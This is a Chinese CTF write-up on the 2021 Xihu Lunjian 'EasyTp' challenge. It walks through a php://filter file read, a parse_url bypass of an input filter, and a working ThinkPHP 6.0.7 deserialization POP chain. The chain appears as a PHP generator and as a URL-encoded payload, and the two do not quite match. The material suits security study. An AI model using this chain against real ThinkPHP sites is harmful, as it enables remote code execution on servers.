前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >西湖论剑2021_EasyTp题解

西湖论剑2021_EasyTp题解

作者头像
yulate
发布2023-05-02 11:16:51
2070
发布2023-05-02 11:16:51
举报
文章被收录于专栏:yulate的网络安全技术分析

本文最后更新于 521 天前,其中的信息可能已经有所发展或是发生改变。

前言

又是这种比赛的时候做不出来但是比赛结束后接做出来了。这是一道任意文件读去加上tp6反序列化漏洞的题,难度不是很高,但是考的知识点还挺多的

正文

文件读取利用

打开页面很明显的文件读取,提示没有file这个参数。

尝试读取文件,发现被拦截了。

直接传入不行那就上伪协议

代码语言:javascript
复制
?file=php://filter/read=convert.base64-encode/resource=index.php

既然能读取文件那肯定是想来读取一下flag

这一看就是被过滤了,直接读读不了那就去看看他的主页源码,在此之前先要了解一下thinkphp的目录结构。 ThinkPHP6.0快速开发手册(案例版):https://www.php.cn/php/php-tp6-catalog.html

代码语言:javascript
复制
www  WEB部署目录(或者子目录)
├─app           应用目录
│  ├─controller      控制器目录
│  ├─model           模型目录
│  ├─ ...            更多类库目录
│  │
│  ├─common.php         公共函数文件
│  └─event.php          事件定义文件
│
├─config                配置目录
│  ├─app.php            应用配置
│  ├─cache.php          缓存配置
│  ├─console.php        控制台配置
│  ├─cookie.php         Cookie配置
│  ├─database.php       数据库配置
│  ├─filesystem.php     文件磁盘配置
│  ├─lang.php           多语言配置
│  ├─log.php            日志配置
│  ├─middleware.php     中间件配置
│  ├─route.php          URL和路由配置
│  ├─session.php        Session配置
│  ├─trace.php          Trace配置
│  └─view.php           视图配置
│
├─view            视图目录
├─route                 路由定义目录
│  ├─route.php          路由定义文件
│  └─ ...   
│
├─public                WEB目录(对外访问目录)
│  ├─index.php          入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于apache的重写
│
├─extend                扩展类库目录
├─runtime               应用的运行时目录(可写,可定制)
├─vendor                Composer类库目录
├─.example.env          环境变量示例文件
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

这里推断目录这一步很难解释,猜测主页源码是/app/controller/Index.php。

代码审计
代码语言:javascript
复制
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        //return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V6<br/><span style="font-size:30px">13载初心不改 - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
        if (isset($_GET['file'])) {
            $file = $_GET['file'];
            $file = trim($file);
            $file = preg_replace('/\s+/','',$file);
            if(preg_match("/flag/i",$file)){ die('<h2> no flag..');}
            if(file_exists($file)){
                echo "file_exists() return true..</br>";
                die( "hacker!!!");
            }else {
                echo "file_exists() return false..";
                @highlight_file($file);
            }

        } else {

            echo "Error! no file parameter <br/>";
            echo "highlight_file Error";
        }

    }

    public function unser(){
        if(isset($_GET['vulvul'])){
            $ser = $_GET['vulvul'];
            $vul = parse_url($_SERVER['REQUEST_URI']);
            parse_str($vul['query'],$query);

            foreach($query as $value)
            {
                if(preg_match("/O/i",$value))
                {
                    die('</br> <h1>Hacking?');
                    exit();
                }
            }
            unserialize($ser);
        }

    }
}

可以发现有反序列化入口,但是在unser函数中对传入的参数进行了过滤,过滤掉了o,这会导致反序列化无法成功。

这里面能做手脚的就只剩parse_url,随便百度一下就能百度到这个函数存在变量覆盖的问题。 parse_url小结:https://www.cnblogs.com/tr1ple/p/11137159.html

这里可以直接通过///进行绕过,foreach会返回false导致baypass

反序列化

ThinkPHP v6.0.7 eval反序列化利用链:https://xz.aliyun.com/t/9310

这一部分直接抄的一位老哥的POC,我这里做了一点小小的修改,去掉了base64加密,加上urlencode,如果不转换为url编码序列化结果中的方块会出现丢失,导致rce失败。

代码语言:javascript
复制
<?php
namespace think\model\concern{
    trait Attribute{
        private $data = [7];
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new Validate,$cmd);
        }
    }
    class Middleware{
        public $request = 2333;
    }
    class Validate{
        protected $type;
        function __construct(){
             $this->type = [
                "getDomainBind" => [new view\driver\Php,'display']
            ];
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{} 
}

namespace think\route{
    class Url
    {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}

namespace{
    echo urlencode(serialize(new think\Model\Pivot('<?php system();?>')));
}
?>
代码语言:javascript
复制
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A4%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A15%3A%22think%5Croute%5CUrl%22%3A4%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A2%3A%22a%3A%22%3Bs%3A9%3A%22%00%2A%00domain%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3Bs%3A6%3A%22%00%2A%00app%22%3BO%3A16%3A%22think%5CMiddleware%22%3A1%3A%7Bs%3A7%3A%22request%22%3Bi%3A2333%3B%7Ds%3A8%3A%22%00%2A%00route%22%3BO%3A14%3A%22think%5CValidate%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00type%22%3Ba%3A1%3A%7Bs%3A13%3A%22getDomainBind%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22think%5Cview%5Cdriver%5CPhp%22%3A0%3A%7B%7Di%3A1%3Bs%3A7%3A%22display%22%3B%7D%7D%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A7%3B%7D%7D
验证结果

拿下

总结

这次的西湖论剑又划了次水,水平还是低了。

浏览量: 468

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-11-20 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 正文
    • 文件读取利用
      • 代码审计
        • 反序列化
          • 验证结果
          • 总结
          相关产品与服务
          消息队列 TDMQ
          消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档